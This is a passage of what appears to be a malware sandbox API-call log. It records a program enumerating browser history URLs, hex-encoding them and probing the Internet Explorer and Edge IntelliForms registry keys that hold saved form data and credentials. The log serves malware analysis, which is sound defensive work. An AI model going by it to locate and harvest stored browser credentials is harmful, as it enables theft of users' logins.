lpString1=0x763518, lpString2="FA583EE73EDD6EA7" | out: lpString1="FA583EE73EDD6EA7") returned="FA583EE73EDD6EA7" [0053.561] lstrcatA (in: lpString1="FA583EE73EDD6EA7", lpString2="05" | out: lpString1="FA583EE73EDD6EA705") returned="FA583EE73EDD6EA705" [0053.561] LocalFree (hMem=0x763478) returned 0x0 [0053.561] wsprintfA (in: param_1=0xefcf0, param_2="%02X" | out: param_1="44") returned 2 [0053.561] lstrlenA (lpString="FA583EE73EDD6EA705") returned 18 [0053.561] lstrlenA (lpString="44") returned 2 [0053.561] LocalAlloc (uFlags=0x40, uBytes=0x95) returned 0x763478 [0053.561] lstrcpyA (in: lpString1=0x763478, lpString2="FA583EE73EDD6EA705" | out: lpString1="FA583EE73EDD6EA705") returned="FA583EE73EDD6EA705" [0053.561] lstrcatA (in: lpString1="FA583EE73EDD6EA705", lpString2="44" | out: lpString1="FA583EE73EDD6EA70544") returned="FA583EE73EDD6EA70544" [0053.561] LocalFree (hMem=0x763518) returned 0x0 [0053.561] wsprintfA (in: param_1=0xefcf0, param_2="%02X" | out: param_1="D4") returned 2 [0053.561] lstrlenA (lpString="FA583EE73EDD6EA70544") returned 20 [0053.561] lstrlenA (lpString="D4") returned 2 [0053.561] LocalAlloc (uFlags=0x40, uBytes=0x97) returned 0x763518 [0053.561] lstrcpyA (in: lpString1=0x763518, lpString2="FA583EE73EDD6EA70544" | out: lpString1="FA583EE73EDD6EA70544") returned="FA583EE73EDD6EA70544" [0053.561] lstrcatA (in: lpString1="FA583EE73EDD6EA70544", lpString2="D4" | out: lpString1="FA583EE73EDD6EA70544D4") returned="FA583EE73EDD6EA70544D4" [0053.561] LocalFree (hMem=0x763478) returned 0x0 [0053.561] wsprintfA (in: param_1=0xefcf0, param_2="%02X" | out: param_1="73") returned 2 [0053.561] lstrlenA (lpString="FA583EE73EDD6EA70544D4") returned 22 [0053.561] lstrlenA (lpString="73") returned 2 [0053.561] LocalAlloc (uFlags=0x40, uBytes=0x99) returned 0x758820 [0053.561] lstrcpyA (in: lpString1=0x758820, lpString2="FA583EE73EDD6EA70544D4" | out: lpString1="FA583EE73EDD6EA70544D4") returned="FA583EE73EDD6EA70544D4" [0053.561] lstrcatA (in: lpString1="FA583EE73EDD6EA70544D4", lpString2="73" | out: lpString1="FA583EE73EDD6EA70544D473") returned="FA583EE73EDD6EA70544D473" [0053.561] LocalFree (hMem=0x763518) returned 0x0 [0053.561] wsprintfA (in: param_1=0xefcf0, param_2="%02X" | out: param_1="EE") returned 2 [0053.561] lstrlenA (lpString="FA583EE73EDD6EA70544D473") returned 24 [0053.561] lstrlenA (lpString="EE") returned 2 [0053.561] LocalAlloc (uFlags=0x40, uBytes=0x9b) returned 0x758a18 [0053.561] lstrcpyA (in: lpString1=0x758a18, lpString2="FA583EE73EDD6EA70544D473" | out: lpString1="FA583EE73EDD6EA70544D473") returned="FA583EE73EDD6EA70544D473" [0053.561] lstrcatA (in: lpString1="FA583EE73EDD6EA70544D473", lpString2="EE" | out: lpString1="FA583EE73EDD6EA70544D473EE") returned="FA583EE73EDD6EA70544D473EE" [0053.561] LocalFree (hMem=0x758820) returned 0x0 [0053.561] wsprintfA (in: param_1=0xefcf0, param_2="%02X" | out: param_1="CD") returned 2 [0053.562] lstrlenA (lpString="FA583EE73EDD6EA70544D473EE") returned 26 [0053.562] lstrlenA (lpString="CD") returned 2 [0053.562] LocalAlloc (uFlags=0x40, uBytes=0x9d) returned 0x758820 [0053.562] lstrcpyA (in: lpString1=0x758820, lpString2="FA583EE73EDD6EA70544D473EE" | out: lpString1="FA583EE73EDD6EA70544D473EE") returned="FA583EE73EDD6EA70544D473EE" [0053.562] lstrcatA (in: lpString1="FA583EE73EDD6EA70544D473EE", lpString2="CD" | out: lpString1="FA583EE73EDD6EA70544D473EECD") returned="FA583EE73EDD6EA70544D473EECD" [0053.562] LocalFree (hMem=0x758a18) returned 0x0 [0053.562] wsprintfA (in: param_1=0xefcf0, param_2="%02X" | out: param_1="E9") returned 2 [0053.562] lstrlenA (lpString="FA583EE73EDD6EA70544D473EECD") returned 28 [0053.562] lstrlenA (lpString="E9") returned 2 [0053.562] LocalAlloc (uFlags=0x40, uBytes=0x9f) returned 0x758a18 [0053.562] lstrcpyA (in: lpString1=0x758a18, lpString2="FA583EE73EDD6EA70544D473EECD" | out: lpString1="FA583EE73EDD6EA70544D473EECD") returned="FA583EE73EDD6EA70544D473EECD" [0053.562] lstrcatA (in: lpString1="FA583EE73EDD6EA70544D473EECD", lpString2="E9" | out: lpString1="FA583EE73EDD6EA70544D473EECDE9") returned="FA583EE73EDD6EA70544D473EECDE9" [0053.562] LocalFree (hMem=0x758820) returned 0x0 [0053.562] wsprintfA (in: param_1=0xefcf0, param_2="%02X" | out: param_1="79") returned 2 [0053.562] lstrlenA (lpString="FA583EE73EDD6EA70544D473EECDE9") returned 30 [0053.562] lstrlenA (lpString="79") returned 2 [0053.562] LocalAlloc (uFlags=0x40, uBytes=0xa1) returned 0x754cf0 [0053.562] lstrcpyA (in: lpString1=0x754cf0, lpString2="FA583EE73EDD6EA70544D473EECDE9" | out: lpString1="FA583EE73EDD6EA70544D473EECDE9") returned="FA583EE73EDD6EA70544D473EECDE9" [0053.562] lstrcatA (in: lpString1="FA583EE73EDD6EA70544D473EECDE9", lpString2="79" | out: lpString1="FA583EE73EDD6EA70544D473EECDE979") returned="FA583EE73EDD6EA70544D473EECDE979" [0053.562] LocalFree (hMem=0x758a18) returned 0x0 [0053.562] wsprintfA (in: param_1=0xefcf0, param_2="%02X" | out: param_1="5B") returned 2 [0053.562] lstrlenA (lpString="FA583EE73EDD6EA70544D473EECDE979") returned 32 [0053.562] lstrlenA (lpString="5B") returned 2 [0053.562] LocalAlloc (uFlags=0x40, uBytes=0xa3) returned 0x754b90 [0053.562] lstrcpyA (in: lpString1=0x754b90, lpString2="FA583EE73EDD6EA70544D473EECDE979" | out: lpString1="FA583EE73EDD6EA70544D473EECDE979") returned="FA583EE73EDD6EA70544D473EECDE979" [0053.562] lstrcatA (in: lpString1="FA583EE73EDD6EA70544D473EECDE979", lpString2="5B" | out: lpString1="FA583EE73EDD6EA70544D473EECDE9795B") returned="FA583EE73EDD6EA70544D473EECDE9795B" [0053.562] LocalFree (hMem=0x754cf0) returned 0x0 [0053.562] wsprintfA (in: param_1=0xefcf0, param_2="%02X" | out: param_1="59") returned 2 [0053.562] lstrlenA (lpString="FA583EE73EDD6EA70544D473EECDE9795B") returned 34 [0053.562] lstrlenA (lpString="59") returned 2 [0053.562] LocalAlloc (uFlags=0x40, uBytes=0xa5) returned 0x754cf0 [0053.562] lstrcpyA (in: lpString1=0x754cf0, lpString2="FA583EE73EDD6EA70544D473EECDE9795B" | out: lpString1="FA583EE73EDD6EA70544D473EECDE9795B") returned="FA583EE73EDD6EA70544D473EECDE9795B" [0053.562] lstrcatA (in: lpString1="FA583EE73EDD6EA70544D473EECDE9795B", lpString2="59" | out: lpString1="FA583EE73EDD6EA70544D473EECDE9795B59") returned="FA583EE73EDD6EA70544D473EECDE9795B59" [0053.562] LocalFree (hMem=0x754b90) returned 0x0 [0053.562] wsprintfA (in: param_1=0xefcf0, param_2="%02X" | out: param_1="2B") returned 2 [0053.562] lstrlenA (lpString="FA583EE73EDD6EA70544D473EECDE9795B59") returned 36 [0053.562] lstrlenA (lpString="2B") returned 2 [0053.562] LocalAlloc (uFlags=0x40, uBytes=0xa7) returned 0x754b90 [0053.562] lstrcpyA (in: lpString1=0x754b90, lpString2="FA583EE73EDD6EA70544D473EECDE9795B59" | out: lpString1="FA583EE73EDD6EA70544D473EECDE9795B59") returned="FA583EE73EDD6EA70544D473EECDE9795B59" [0053.562] lstrcatA (in: lpString1="FA583EE73EDD6EA70544D473EECDE9795B59", lpString2="2B" | out: lpString1="FA583EE73EDD6EA70544D473EECDE9795B592B") returned="FA583EE73EDD6EA70544D473EECDE9795B592B" [0053.562] LocalFree (hMem=0x754cf0) returned 0x0 [0053.562] wsprintfA (in: param_1=0xefcf0, param_2="%02X" | out: param_1="5F") returned 2 [0053.562] lstrlenA (lpString="FA583EE73EDD6EA70544D473EECDE9795B592B") returned 38 [0053.562] lstrlenA (lpString="5F") returned 2 [0053.563] LocalAlloc (uFlags=0x40, uBytes=0xa9) returned 0x750bb8 [0053.563] lstrcpyA (in: lpString1=0x750bb8, lpString2="FA583EE73EDD6EA70544D473EECDE9795B592B" | out: lpString1="FA583EE73EDD6EA70544D473EECDE9795B592B") returned="FA583EE73EDD6EA70544D473EECDE9795B592B" [0053.563] lstrcatA (in: lpString1="FA583EE73EDD6EA70544D473EECDE9795B592B", lpString2="5F" | out: lpString1="FA583EE73EDD6EA70544D473EECDE9795B592B5F") returned="FA583EE73EDD6EA70544D473EECDE9795B592B5F" [0053.563] LocalFree (hMem=0x754b90) returned 0x0 [0053.563] wsprintfA (in: param_1=0xefcf0, param_2="%02X" | out: param_1="92") returned 2 [0053.563] lstrlenA (lpString="FA583EE73EDD6EA70544D473EECDE9795B592B5F") returned 40 [0053.563] lstrlenA (lpString="92") returned 2 [0053.563] LocalAlloc (uFlags=0x40, uBytes=0xab) returned 0x750a48 [0053.563] lstrcpyA (in: lpString1=0x750a48, lpString2="FA583EE73EDD6EA70544D473EECDE9795B592B5F" | out: lpString1="FA583EE73EDD6EA70544D473EECDE9795B592B5F") returned="FA583EE73EDD6EA70544D473EECDE9795B592B5F" [0053.563] lstrcatA (in: lpString1="FA583EE73EDD6EA70544D473EECDE9795B592B5F", lpString2="92" | out: lpString1="FA583EE73EDD6EA70544D473EECDE9795B592B5F92") returned="FA583EE73EDD6EA70544D473EECDE9795B592B5F92" [0053.563] LocalFree (hMem=0x750bb8) returned 0x0 [0053.563] RegOpenKeyExA (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Internet Explorer\\IntelliForms\\Storage2", ulOptions=0x0, samDesired=0x20019, phkResult=0xefc8c | out: phkResult=0xefc8c*=0x0) returned 0x2 [0053.563] RegOpenKeyExA (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Internet Explorer\\IntelliForms\\Storage2", ulOptions=0x0, samDesired=0x20219, phkResult=0xefc60 | out: phkResult=0xefc60*=0x0) returned 0x2 [0053.563] RegOpenKeyExA (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Internet Explorer\\IntelliForms\\Storage2", ulOptions=0x0, samDesired=0x20119, phkResult=0xefc34 | out: phkResult=0xefc34*=0x0) returned 0x2 [0053.563] RegOpenKeyExA (in: hKey=0x80000001, lpSubKey="SOFTWARE\\Classes\\Local Settings\\Software\\Microsoft\\Windows\\CurrentVersion\\AppContainer\\Storage\\microsoft.microsoftedge_8wekyb3d8bbwe\\MicrosoftEdge\\IntelliForms\\FormData", ulOptions=0x0, samDesired=0x20019, phkResult=0xefc8c | out: phkResult=0xefc8c*=0x0) returned 0x2 [0053.563] RegOpenKeyExA (in: hKey=0x80000001, lpSubKey="SOFTWARE\\Classes\\Local Settings\\Software\\Microsoft\\Windows\\CurrentVersion\\AppContainer\\Storage\\microsoft.microsoftedge_8wekyb3d8bbwe\\MicrosoftEdge\\IntelliForms\\FormData", ulOptions=0x0, samDesired=0x20219, phkResult=0xefc60 | out: phkResult=0xefc60*=0x0) returned 0x2 [0053.563] RegOpenKeyExA (in: hKey=0x80000001, lpSubKey="SOFTWARE\\Classes\\Local Settings\\Software\\Microsoft\\Windows\\CurrentVersion\\AppContainer\\Storage\\microsoft.microsoftedge_8wekyb3d8bbwe\\MicrosoftEdge\\IntelliForms\\FormData", ulOptions=0x0, samDesired=0x20119, phkResult=0xefc34 | out: phkResult=0xefc34*=0x0) returned 0x2 [0053.563] LocalFree (hMem=0x750a48) returned 0x0 [0053.563] CoTaskMemFree (pv=0x760000) [0053.563] IEnumSTATURL:Next (in: This=0x75a808, celt=0x1, rgelt=0xefd34, pceltFetched=0xefd30*=0x0 | out: rgelt=0xefd34, pceltFetched=0xefd30*=0x1) returned 0x0 [0053.563] StrStrIW (lpFirst="file:///C:/Users/aDU0VK%20IWA5kLS/Pictures/Or-om2X3XTF/WHMyt54.jpg", lpSrch="?") returned 0x0 [0053.563] lstrlenW (lpString="file:///C:/Users/aDU0VK%20IWA5kLS/Pictures/Or-om2X3XTF/WHMyt54.jpg") returned 66 [0053.564] wsprintfA (in: param_1=0xefcf0, param_2="%02X" | out: param_1="73") returned 2 [0053.564] lstrlenA (lpString="") returned 0 [0053.564] lstrlenA (lpString="73") returned 2 [0053.564] LocalAlloc (uFlags=0x40, uBytes=0x83) returned 0x760240 [0053.564] lstrcpyA (in: lpString1=0x760240, lpString2="" | out: lpString1="") returned="" [0053.564] lstrcatA (in: lpString1="", lpString2="73" | out: lpString1="73") returned="73" [0053.564] wsprintfA (in: param_1=0xefcf0, param_2="%02X" | out: param_1="38") returned 2 [0053.564] lstrlenA (lpString="73") returned 2 [0053.564] lstrlenA (lpString="38") returned 2 [0053.564] LocalAlloc (uFlags=0x40, uBytes=0x85) returned 0x7602d0 [0053.564] lstrcpyA (in: lpString1=0x7602d0, lpString2="73" | out: lpString1="73") returned="73" [0053.564] lstrcatA (in: lpString1="73", lpString2="38" | out: lpString1="7338") returned="7338" [0053.564] LocalFree (hMem=0x760240) returned 0x0 [0053.564] wsprintfA (in: param_1=0xefcf0, param_2="%02X" | out: param_1="4E") returned 2 [0053.564] lstrlenA (lpString="7338") returned 4 [0053.564] lstrlenA (lpString="4E") returned 2 [0053.564] LocalAlloc (uFlags=0x40, uBytes=0x87) returned 0x760240 [0053.564] lstrcpyA (in: lpString1=0x760240, lpString2="7338" | out: lpString1="7338") returned="7338" [0053.564] lstrcatA (in: lpString1="7338", lpString2="4E" | out: lpString1="73384E") returned="73384E" [0053.564] LocalFree (hMem=0x7602d0) returned 0x0 [0053.564] wsprintfA (in: param_1=0xefcf0, param_2="%02X" | out: param_1="AE") returned 2 [0053.564] lstrlenA (lpString="73384E") returned 6 [0053.564] lstrlenA (lpString="AE") returned 2 [0053.564] LocalAlloc (uFlags=0x40, uBytes=0x89) returned 0x7631f0 [0053.564] lstrcpyA (in: lpString1=0x7631f0, lpString2="73384E" | out: lpString1="73384E") returned="73384E" [0053.564] lstrcatA (in: lpString1="73384E", lpString2="AE" | out: lpString1="73384EAE") returned="73384EAE" [0053.564] LocalFree (hMem=0x760240) returned 0x0 [0053.564] wsprintfA (in: param_1=0xefcf0, param_2="%02X" | out: param_1="C8") returned 2 [0053.564] lstrlenA (lpString="73384EAE") returned 8 [0053.564] lstrlenA (lpString="C8") returned 2 [0053.564] LocalAlloc (uFlags=0x40, uBytes=0x8b) returned 0x763288 [0053.564] lstrcpyA (in: lpString1=0x763288, lpString2="73384EAE" | out: lpString1="73384EAE") returned="73384EAE" [0053.564] lstrcatA (in: lpString1="73384EAE", lpString2="C8" | out: lpString1="73384EAEC8") returned="73384EAEC8" [0053.564] LocalFree (hMem=0x7631f0) returned 0x0 [0053.564] wsprintfA (in: param_1=0xefcf0, param_2="%02X" | out: param_1="FE") returned 2 [0053.564] lstrlenA (lpString="73384EAEC8") returned 10 [0053.564] lstrlenA (lpString="FE") returned 2 [0053.564] LocalAlloc (uFlags=0x40, uBytes=0x8d) returned 0x7631f0 [0053.564] lstrcpyA (in: lpString1=0x7631f0, lpString2="73384EAEC8" | out: lpString1="73384EAEC8") returned="73384EAEC8" [0053.564] lstrcatA (in: lpString1="73384EAEC8", lpString2="FE" | out: lpString1="73384EAEC8FE") returned="73384EAEC8FE" [0053.564] LocalFree (hMem=0x763288) returned 0x0 [0053.564] wsprintfA (in: param_1=0xefcf0, param_2="%02X" | out: param_1="0C") returned 2 [0053.564] lstrlenA (lpString="73384EAEC8FE") returned 12 [0053.564] lstrlenA (lpString="0C") returned 2 [0053.564] LocalAlloc (uFlags=0x40, uBytes=0x8f) returned 0x763288 [0053.564] lstrcpyA (in: lpString1=0x763288, lpString2="73384EAEC8FE" | out: lpString1="73384EAEC8FE") returned="73384EAEC8FE" [0053.564] lstrcatA (in: lpString1="73384EAEC8FE", lpString2="0C" | out: lpString1="73384EAEC8FE0C") returned="73384EAEC8FE0C" [0053.564] LocalFree (hMem=0x7631f0) returned 0x0 [0053.564] wsprintfA (in: param_1=0xefcf0, param_2="%02X" | out: param_1="F6") returned 2 [0053.564] lstrlenA (lpString="73384EAEC8FE0C") returned 14 [0053.564] lstrlenA (lpString="F6") returned 2 [0053.564] LocalAlloc (uFlags=0x40, uBytes=0x91) returned 0x763518 [0053.564] lstrcpyA (in: lpString1=0x763518, lpString2="73384EAEC8FE0C" | out: lpString1="73384EAEC8FE0C") returned="73384EAEC8FE0C" [0053.564] lstrcatA (in: lpString1="73384EAEC8FE0C", lpString2="F6" | out: lpString1="73384EAEC8FE0CF6") returned="73384EAEC8FE0CF6" [0053.564] LocalFree (hMem=0x763288) returned 0x0 [0053.564] wsprintfA (in: param_1=0xefcf0, param_2="%02X" | out: param_1="99") returned 2 [0053.564] lstrlenA (lpString="73384EAEC8FE0CF6") returned 16 [0053.565] lstrlenA (lpString="99") returned 2 [0053.565] LocalAlloc (uFlags=0x40, uBytes=0x93) returned 0x763478 [0053.565] lstrcpyA (in: lpString1=0x763478, lpString2="73384EAEC8FE0CF6" | out: lpString1="73384EAEC8FE0CF6") returned="73384EAEC8FE0CF6" [0053.565] lstrcatA (in: lpString1="73384EAEC8FE0CF6", lpString2="99" | out: lpString1="73384EAEC8FE0CF699") returned="73384EAEC8FE0CF699" [0053.565] LocalFree (hMem=0x763518) returned 0x0 [0053.565] wsprintfA (in: param_1=0xefcf0, param_2="%02X" | out: param_1="C1") returned 2 [0053.565] lstrlenA (lpString="73384EAEC8FE0CF699") returned 18 [0053.565] lstrlenA (lpString="C1") returned 2 [0053.565] LocalAlloc (uFlags=0x40, uBytes=0x95) returned 0x763518 [0053.565] lstrcpyA (in: lpString1=0x763518, lpString2="73384EAEC8FE0CF699" | out: lpString1="73384EAEC8FE0CF699") returned="73384EAEC8FE0CF699" [0053.565] lstrcatA (in: lpString1="73384EAEC8FE0CF699", lpString2="C1" | out: lpString1="73384EAEC8FE0CF699C1") returned="73384EAEC8FE0CF699C1" [0053.565] LocalFree (hMem=0x763478) returned 0x0 [0053.565] wsprintfA (in: param_1=0xefcf0, param_2="%02X" | out: param_1="EC") returned 2 [0053.565] lstrlenA (lpString="73384EAEC8FE0CF699C1") returned 20 [0053.565] lstrlenA (lpString="EC") returned 2 [0053.565] LocalAlloc (uFlags=0x40, uBytes=0x97) returned 0x763478 [0053.565] lstrcpyA (in: lpString1=0x763478, lpString2="73384EAEC8FE0CF699C1" | out: lpString1="73384EAEC8FE0CF699C1") returned="73384EAEC8FE0CF699C1" [0053.565] lstrcatA (in: lpString1="73384EAEC8FE0CF699C1", lpString2="EC" | out: lpString1="73384EAEC8FE0CF699C1EC") returned="73384EAEC8FE0CF699C1EC" [0053.565] LocalFree (hMem=0x763518) returned 0x0 [0053.565] wsprintfA (in: param_1=0xefcf0, param_2="%02X" | out: param_1="18") returned 2 [0053.565] lstrlenA (lpString="73384EAEC8FE0CF699C1EC") returned 22 [0053.565] lstrlenA (lpString="18") returned 2 [0053.565] LocalAlloc (uFlags=0x40, uBytes=0x99) returned 0x758a18 [0053.565] lstrcpyA (in: lpString1=0x758a18, lpString2="73384EAEC8FE0CF699C1EC" | out: lpString1="73384EAEC8FE0CF699C1EC") returned="73384EAEC8FE0CF699C1EC" [0053.565] lstrcatA (in: lpString1="73384EAEC8FE0CF699C1EC", lpString2="18" | out: lpString1="73384EAEC8FE0CF699C1EC18") returned="73384EAEC8FE0CF699C1EC18" [0053.565] LocalFree (hMem=0x763478) returned 0x0 [0053.565] wsprintfA (in: param_1=0xefcf0, param_2="%02X" | out: param_1="E1") returned 2 [0053.565] lstrlenA (lpString="73384EAEC8FE0CF699C1EC18") returned 24 [0053.565] lstrlenA (lpString="E1") returned 2 [0053.565] LocalAlloc (uFlags=0x40, uBytes=0x9b) returned 0x758820 [0053.565] lstrcpyA (in: lpString1=0x758820, lpString2="73384EAEC8FE0CF699C1EC18" | out: lpString1="73384EAEC8FE0CF699C1EC18") returned="73384EAEC8FE0CF699C1EC18" [0053.565] lstrcatA (in: lpString1="73384EAEC8FE0CF699C1EC18", lpString2="E1" | out: lpString1="73384EAEC8FE0CF699C1EC18E1") returned="73384EAEC8FE0CF699C1EC18E1" [0053.565] LocalFree (hMem=0x758a18) returned 0x0 [0053.565] wsprintfA (in: param_1=0xefcf0, param_2="%02X" | out: param_1="E4") returned 2 [0053.565] lstrlenA (lpString="73384EAEC8FE0CF699C1EC18E1") returned 26 [0053.565] lstrlenA (lpString="E4") returned 2 [0053.565] LocalAlloc (uFlags=0x40, uBytes=0x9d) returned 0x758a18 [0053.565] lstrcpyA (in: lpString1=0x758a18, lpString2="73384EAEC8FE0CF699C1EC18E1" | out: lpString1="73384EAEC8FE0CF699C1EC18E1") returned="73384EAEC8FE0CF699C1EC18E1" [0053.565] lstrcatA (in: lpString1="73384EAEC8FE0CF699C1EC18E1", lpString2="E4" | out: lpString1="73384EAEC8FE0CF699C1EC18E1E4") returned="73384EAEC8FE0CF699C1EC18E1E4" [0053.565] LocalFree (hMem=0x758820) returned 0x0 [0053.565] wsprintfA (in: param_1=0xefcf0, param_2="%02X" | out: param_1="E5") returned 2 [0053.565] lstrlenA (lpString="73384EAEC8FE0CF699C1EC18E1E4") returned 28 [0053.565] lstrlenA (lpString="E5") returned 2 [0053.565] LocalAlloc (uFlags=0x40, uBytes=0x9f) returned 0x758820 [0053.565] lstrcpyA (in: lpString1=0x758820, lpString2="73384EAEC8FE0CF699C1EC18E1E4" | out: lpString1="73384EAEC8FE0CF699C1EC18E1E4") returned="73384EAEC8FE0CF699C1EC18E1E4" [0053.565] lstrcatA (in: lpString1="73384EAEC8FE0CF699C1EC18E1E4", lpString2="E5" | out: lpString1="73384EAEC8FE0CF699C1EC18E1E4E5") returned="73384EAEC8FE0CF699C1EC18E1E4E5" [0053.565] LocalFree (hMem=0x758a18) returned 0x0 [0053.565] wsprintfA (in: param_1=0xefcf0, param_2="%02X" | out: param_1="C7") returned 2 [0053.565] lstrlenA (lpString="73384EAEC8FE0CF699C1EC18E1E4E5") returned 30 [0053.565] lstrlenA (lpString="C7") returned 2 [0053.565] LocalAlloc (uFlags=0x40, uBytes=0xa1) returned 0x754b90 [0053.565] lstrcpyA (in: lpString1=0x754b90, lpString2="73384EAEC8FE0CF699C1EC18E1E4E5" | out: lpString1="73384EAEC8FE0CF699C1EC18E1E4E5") returned="73384EAEC8FE0CF699C1EC18E1E4E5" [0053.565] lstrcatA (in: lpString1="73384EAEC8FE0CF699C1EC18E1E4E5", lpString2="C7" | out: lpString1="73384EAEC8FE0CF699C1EC18E1E4E5C7") returned="73384EAEC8FE0CF699C1EC18E1E4E5C7" [0053.565] LocalFree (hMem=0x758820) returned 0x0 [0053.565] wsprintfA (in: param_1=0xefcf0, param_2="%02X" | out: param_1="20") returned 2 [0053.565] lstrlenA (lpString="73384EAEC8FE0CF699C1EC18E1E4E5C7") returned 32 [0053.565] lstrlenA (lpString="20") returned 2 [0053.565] LocalAlloc (uFlags=0x40, uBytes=0xa3) returned 0x754cf0 [0053.565] lstrcpyA (in: lpString1=0x754cf0, lpString2="73384EAEC8FE0CF699C1EC18E1E4E5C7" | out: lpString1="73384EAEC8FE0CF699C1EC18E1E4E5C7") returned="73384EAEC8FE0CF699C1EC18E1E4E5C7" [0053.566] lstrcatA (in: lpString1="73384EAEC8FE0CF699C1EC18E1E4E5C7", lpString2="20" | out: lpString1="73384EAEC8FE0CF699C1EC18E1E4E5C720") returned="73384EAEC8FE0CF699C1EC18E1E4E5C720" [0053.566] LocalFree (hMem=0x754b90) returned 0x0 [0053.566] wsprintfA (in: param_1=0xefcf0, param_2="%02X" | out: param_1="0A") returned 2 [0053.566] lstrlenA (lpString="73384EAEC8FE0CF699C1EC18E1E4E5C720") returned 34 [0053.566] lstrlenA (lpString="0A") returned 2 [0053.566] LocalAlloc (uFlags=0x40, uBytes=0xa5) returned 0x754b90 [0053.566] lstrcpyA (in: lpString1=0x754b90, lpString2="73384EAEC8FE0CF699C1EC18E1E4E5C720" | out: lpString1="73384EAEC8FE0CF699C1EC18E1E4E5C720") returned="73384EAEC8FE0CF699C1EC18E1E4E5C720" [0053.566] lstrcatA (in: lpString1="73384EAEC8FE0CF699C1EC18E1E4E5C720", lpString2="0A" | out: lpString1="73384EAEC8FE0CF699C1EC18E1E4E5C7200A") returned="73384EAEC8FE0CF699C1EC18E1E4E5C7200A" [0053.566] LocalFree (hMem=0x754cf0) returned 0x0 [0053.566] wsprintfA (in: param_1=0xefcf0, param_2="%02X" | out: param_1="19") returned 2 [0053.566] lstrlenA (lpString="73384EAEC8FE0CF699C1EC18E1E4E5C7200A") returned 36 [0053.566] lstrlenA (lpString="19") returned 2 [0053.566] LocalAlloc (uFlags=0x40, uBytes=0xa7) returned 0x754cf0 [0053.566] lstrcpyA (in: lpString1=0x754cf0, lpString2="73384EAEC8FE0CF699C1EC18E1E4E5C7200A" | out: lpString1="73384EAEC8FE0CF699C1EC18E1E4E5C7200A") returned="73384EAEC8FE0CF699C1EC18E1E4E5C7200A" [0053.566] lstrcatA (in: lpString1="73384EAEC8FE0CF699C1EC18E1E4E5C7200A", lpString2="19" | out: lpString1="73384EAEC8FE0CF699C1EC18E1E4E5C7200A19") returned="73384EAEC8FE0CF699C1EC18E1E4E5C7200A19" [0053.566] LocalFree (hMem=0x754b90) returned 0x0 [0053.566] wsprintfA (in: param_1=0xefcf0, param_2="%02X" | out: param_1="CA") returned 2 [0053.566] lstrlenA (lpString="73384EAEC8FE0CF699C1EC18E1E4E5C7200A19") returned 38 [0053.566] lstrlenA (lpString="CA") returned 2 [0053.566] LocalAlloc (uFlags=0x40, uBytes=0xa9) returned 0x750a48 [0053.566] lstrcpyA (in: lpString1=0x750a48, lpString2="73384EAEC8FE0CF699C1EC18E1E4E5C7200A19" | out: lpString1="73384EAEC8FE0CF699C1EC18E1E4E5C7200A19") returned="73384EAEC8FE0CF699C1EC18E1E4E5C7200A19" [0053.566] lstrcatA (in: lpString1="73384EAEC8FE0CF699C1EC18E1E4E5C7200A19", lpString2="CA" | out: lpString1="73384EAEC8FE0CF699C1EC18E1E4E5C7200A19CA") returned="73384EAEC8FE0CF699C1EC18E1E4E5C7200A19CA" [0053.566] LocalFree (hMem=0x754cf0) returned 0x0 [0053.566] wsprintfA (in: param_1=0xefcf0, param_2="%02X" | out: param_1="4B") returned 2 [0053.566] lstrlenA (lpString="73384EAEC8FE0CF699C1EC18E1E4E5C7200A19CA") returned 40 [0053.566] lstrlenA (lpString="4B") returned 2 [0053.566] LocalAlloc (uFlags=0x40, uBytes=0xab) returned 0x750bb8 [0053.566] lstrcpyA (in: lpString1=0x750bb8, lpString2="73384EAEC8FE0CF699C1EC18E1E4E5C7200A19CA" | out: lpString1="73384EAEC8FE0CF699C1EC18E1E4E5C7200A19CA") returned="73384EAEC8FE0CF699C1EC18E1E4E5C7200A19CA" [0053.566] lstrcatA (in: lpString1="73384EAEC8FE0CF699C1EC18E1E4E5C7200A19CA", lpString2="4B" | out: lpString1="73384EAEC8FE0CF699C1EC18E1E4E5C7200A19CA4B") returned="73384EAEC8FE0CF699C1EC18E1E4E5C7200A19CA4B" [0053.566] LocalFree (hMem=0x750a48) returned 0x0 [0053.566] RegOpenKeyExA (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Internet Explorer\\IntelliForms\\Storage2", ulOptions=0x0, samDesired=0x20019, phkResult=0xefc8c | out: phkResult=0xefc8c*=0x0) returned 0x2 [0053.566] RegOpenKeyExA (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Internet Explorer\\IntelliForms\\Storage2", ulOptions=0x0, samDesired=0x20219, phkResult=0xefc60 | out: phkResult=0xefc60*=0x0) returned 0x2 [0053.566] RegOpenKeyExA (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Internet Explorer\\IntelliForms\\Storage2", ulOptions=0x0, samDesired=0x20119, phkResult=0xefc34 | out: phkResult=0xefc34*=0x0) returned 0x2 [0053.566] RegOpenKeyExA (in: hKey=0x80000001, lpSubKey="SOFTWARE\\Classes\\Local Settings\\Software\\Microsoft\\Windows\\CurrentVersion\\AppContainer\\Storage\\microsoft.microsoftedge_8wekyb3d8bbwe\\MicrosoftEdge\\IntelliForms\\FormData", ulOptions=0x0, samDesired=0x20019, phkResult=0xefc8c | out: phkResult=0xefc8c*=0x0) returned 0x2 [0053.566] RegOpenKeyExA (in: hKey=0x80000001, lpSubKey="SOFTWARE\\Classes\\Local Settings\\Software\\Microsoft\\Windows\\CurrentVersion\\AppContainer\\Storage\\microsoft.microsoftedge_8wekyb3d8bbwe\\MicrosoftEdge\\IntelliForms\\FormData", ulOptions=0x0, samDesired=0x20219, phkResult=0xefc60 | out: phkResult=0xefc60*=0x0) returned 0x2 [0053.566] RegOpenKeyExA (in: hKey=0x80000001, lpSubKey="SOFTWARE\\Classes\\Local Settings\\Software\\Microsoft\\Windows\\CurrentVersion\\AppContainer\\Storage\\microsoft.microsoftedge_8wekyb3d8bbwe\\MicrosoftEdge\\IntelliForms\\FormData", ulOptions=0x0, samDesired=0x20119, phkResult=0xefc34 | out: phkResult=0xefc34*=0x0) returned 0x2 [0053.566] LocalFree (hMem=0x750bb8) returned 0x0 [0053.566] CoTaskMemFree (pv=0x7601b0) [0053.566] IEnumSTATURL:Next (in: This=0x75a808, celt=0x1, rgelt=0xefd34, pceltFetched=0xefd30*=0x0 | out: rgelt=0xefd34, pceltFetched=0xefd30*=0x1) returned 0x0 [0053.567] StrStrIW 